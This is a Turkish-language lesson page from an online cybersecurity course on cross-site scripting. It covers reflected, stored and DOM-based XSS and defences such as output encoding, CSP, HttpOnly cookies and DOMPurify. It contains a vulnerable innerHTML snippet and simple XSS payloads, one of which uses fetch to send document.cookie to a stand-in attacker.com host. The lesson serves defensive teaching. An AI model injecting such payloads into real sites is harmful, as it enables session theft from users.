Siteler Arası Betik Çalıştırma (XSS)
Gerçek yükler ve CSP azaltımlarıyla yansıtılmış, depolanmış ve DOM tabanlı XSS'yi inceleyin.
Siteler Arası Betik Çalıştırma (XSS), CoddyKit'te ücretsiz bir Cyber Security Academy dersidir. Bu, 4 dersinin 2. dersidir. Aşağıdan dersin tamamını ücretsiz okuyabilir, sonra tarayıcıda yerleşik kod editörü ve 7/24 yapay zeka koçu ile uygulamalı olarak pratik yapabilirsin. Bu, Cyber Security Academy öğrenme yolunun bir parçasıdır ve ilerlemeniz web ve CoddyKit uygulaması arasında senkronize olur. Cyber Security Academy kursu toplamda 4 dersten oluşur.
XSS Nedir?
Siteler Arası Betik Çalıştırma (XSS), bir saldırganın diğer kullanıcıların görüntülediği bir internet sayfasına kötü amaçlı JavaScript yerleştirmesiyle gerçekleşir. Tarayıcı, betiği kurbanın oturumu bağlamında çalıştırır; bu da çerezlerin çalınmasını, tuş vuruşlarının kaydedilmesini ve sayfanın değiştirilmesini mümkün kılar.
Yansıtılan XSS
Yansıtılan XSS (kalıcı olmayan): kötü amaçlı betik isteğe (örneğin URL parametresine) eklenir ve yanıtta yansıtılır. Kurbanın özel olarak hazırlanmış bir bağlantıya tıklaması gerekir. Örnek: https://site.com/search?q=<script>alert(1)</script>
Saklanan XSS
Saklanan XSS (kalıcı): kötü amaçlı betik veritabanına (örneğin yoruma veya profil alanına) kaydedilir ve her ziyaretçiye sunulur. Yansıtılan XSS'ten daha tehlikelidir; çünkü özel bir bağlantı gerekmez — her sayfa görüntülendiğinde betik çalışır.
DOM Tabanlı XSS
DOM tabanlı XSS, JavaScript saldırganın denetimindeki verileri (URL karması, sorgu parametresi) okuyup temizlemeden DOM'a yazdığında gerçekleşir. Saldırı tamamen istemci tarafında gerçekleşir; sunucu yükü hiçbir zaman görmez.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>XSS'in Etkileri
Saldırgan XSS ile şunları yapabilir:
- Oturum çerezlerini (
document.cookie) çalabilir → hesabı ele geçirebilir - Tuş vuruşlarını kaydedebilir (yazılırken parolaları çalabilir)
- Kimlik avı sitelerine yönlendirebilir
- İşlemleri kurban gibi gerçekleştirebilir (XSS üzerinden CSRF)
- Sayfanın görünümünü bozabilir
XSS Yükleri
Basit deneme yükleri:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Çıktı Kodlaması
Birincil savunma: kullanıcı tarafından denetlenen tüm çıktıları HTML'e eklemeden önce kodlayın. Özel karakterleri HTML varlıklarına dönüştürün: < → <, > → >, " → ".
Bağlama uygun kodlama kullanın: HTML, JS, URL, CSS.
İçerik Güvenliği Politikası (CSP)
CSP, tarayıcıya hangi betiklerin çalıştırılmasına izin verildiğini bildiren bir yanıt başlığıdır. Katı bir CSP, satır içi betikleri engeller ve kaynakları sınırlar:
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsHttpOnly Çerezleri
Oturum çerezlerinde HttpOnly bayrağının ayarlanması, JavaScript'in bu çerezleri document.cookie aracılığıyla okumasını engeller. XSS çalışsa bile saldırgan oturum belirtecini çalamaz. Bu, çıktı kodlamasının yanında en önemli azaltma katmanıdır.
Girdi Temizleme Kütüphaneleri
Kullanıcıların HTML girmesine izin verilmesi gerektiğinde (örneğin zengin metin düzenleyicilerinde), kendi çözümünüzü yazmak yerine bir temizleme kütüphanesi kullanın:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
XSS Sınaması
Tarayıcı geliştirici araçları, Burp Suite veya otomatik tarayıcılarla XSS sınaması yapın. Kullanıcı girdisi alan tüm alanları, URL parametrelerini, HTTP başlıklarını ve DOM hedef işlevlerini denetleyin: innerHTML, document.write, eval, dize bağımsız değişkenleriyle setTimeout.
Hızlı Kontrol: XSS
Kötü amaçlı yükü veritabanında saklayarak etkilenen sayfayı ziyaret eden her kullanıcı için çalıştıran XSS türü hangisidir?
Ders Özeti
XSS, kurbanların görüntülediği sayfalara JavaScript yerleştirir. Türleri: yansıtılan (URL tabanlı), saklanan (veritabanında kalıcı) ve DOM tabanlı (istemci tarafı). Birincil savunmalar: çıktı kodlaması, HttpOnly çerezleri ve İçerik Güvenliği Politikası. HTML temizleme için DOMPurify kullanın. Temizlenmemiş kullanıcı verilerini asla innerHTML'e veya eval() işlevine eklemeyin.
Sıkça Sorulan Sorular
“Siteler Arası Betik Çalıştırma (XSS)” dersi ücretsiz mi?
Evet — “Siteler Arası Betik Çalıştırma (XSS)” dersin tüm metni burada web'de ücretsiz olarak okunabilir. Etkileşimli olarak pratik yapmak (yerleşik kod editörü ve 7/24 yapay zeka koçu) ve Cyber Security Academy kursunun geri kalanını açmak için CoddyKit PRO'ya yükselt. Cyber Security Academy kursu toplamda 4 dersten oluşur.
“Siteler Arası Betik Çalıştırma (XSS)” dersinde ne öğreneceğim?
Gerçek yükler ve CSP azaltımlarıyla yansıtılmış, depolanmış ve DOM tabanlı XSS'yi inceleyin. Cyber Security Academy ile uygulamalı kodu tarayıcıda doğrudan çalıştırarak pratik yaparsın ve 7/24 yapay zeka koçu dersi çalışırken sorularını yanıtlar.
Cyber Security Academy öğrenmeye başlamak için deneyim gerekli mi?
Önceden deneyim gerekmez. CoddyKit'te Cyber Security Academy, başlangıçtan ileri seviyeye kadar yapılandırıldığı için buradan başlayabilir veya başından başlayıp kendi hızında ilerleme yapabilirsin. Bu, 4 dersinin 2. dersidir.
“Siteler Arası Betik Çalıştırma (XSS)” dersi ne kadar sürer?
Çoğu CoddyKit dersi yaklaşık 5–10 dakika sürer. Her biri kısa ve etkileşimli olduğu için sabit ilerleme yaparsın ve web ile uygulama arasında tam olarak bıraktığın yerden devam edebilirsin.
Bu Cyber Security Academy dersinde kod yazıp çalıştırabilir miyim?
Evet. Her Cyber Security Academy dersi yerleşik bir kod editörü içerir, bu sayede tarayıcıda gerçek kod yazıp çalıştırabilir ve anlık yapay zeka geri bildirimi alırsın — yerel kurulum gerekli değildir.
Bu kursun tüm dersleri
- SQL Enjeksiyonu: Nasıl ve Neden Çalışır
- Siteler Arası Betik Çalıştırma (XSS)
- Siteler Arası İstek Sahteciliği (CSRF)
- Güvenlik Yanlış Yapılandırmaları ve Açık Hizmetler